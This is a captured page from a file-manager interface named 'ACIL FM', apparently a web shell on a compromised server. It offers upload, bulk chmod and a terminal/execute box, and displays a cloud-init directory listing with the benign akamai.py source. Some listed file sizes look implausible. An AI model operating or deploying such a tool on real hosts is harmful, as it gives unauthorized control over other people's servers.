ACIL FM
Dark
Refresh
Current DIR:
/lib/python3.9/site-packages/cloudinit/sources/helpers
/
lib
python3.9
site-packages
cloudinit
sources
helpers
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
vmware
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
akamai.py
1.45 MB
chmod
View
DL
Edit
Rename
Delete
aliyun.py
7.18 MB
chmod
View
DL
Edit
Rename
Delete
azure.py
40.39 MB
chmod
View
DL
Edit
Rename
Delete
cloudsigma.py
2.88 MB
chmod
View
DL
Edit
Rename
Delete
digitalocean.py
6.75 MB
chmod
View
DL
Edit
Rename
Delete
ec2.py
8.58 MB
chmod
View
DL
Edit
Rename
Delete
hetzner.py
840 B
chmod
View
DL
Edit
Rename
Delete
netlink.py
11.65 MB
chmod
View
DL
Edit
Rename
Delete
openstack.py
27.18 MB
chmod
View
DL
Edit
Rename
Delete
upcloud.py
6.48 MB
chmod
View
DL
Edit
Rename
Delete
vultr.py
7.96 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
0 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /lib/python3.9/site-packages/cloudinit/sources/helpers/akamai.py
import re from typing import Any, Dict, Optional, Union from cloudinit import dmi # dmi data can override DMI_OVERRIDE_MAP = { "als": "allow_local_stage", "ais": "allow_init_stage", "dhcp": "allow_dhcp", "v4": "allow_ipv4", "v6": "allow_ipv6", "pmp": "preferred_mac_prefixes", } def get_dmi_config() -> Dict[str, Union[bool, str]]: """ Parses flags from dmi data and updates self.ds_cfg accordingly """ dmi_flags = dmi.read_dmi_data("baseboard-serial-number") ret: Dict[str, Any] = {} if not dmi_flags: return ret # parse the value into individual flags, then set them in our config # based on the short name lookup table for key, value, _ in re.findall(r"([a-z0-9]+)=(.*?)(;|$)", dmi_flags): if key in DMI_OVERRIDE_MAP: if value in "01": value = bool(int(value)) elif key == "pmp": value = value.split(",") ret[DMI_OVERRIDE_MAP[key]] = value return ret def is_on_akamai() -> bool: """ Reads the BIOS vendor from dmi data to determine if we are running in the Akamai Connected Cloud. """ vendor = dmi.read_dmi_data("system-manufacturer") return vendor in ("Linode", "Akamai") def get_local_instance_id() -> Optional[str]: """ Returns the instance id read from dmi data without requiring the metadata service to be reachable """ return dmi.read_dmi_data("system-serial-number")
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply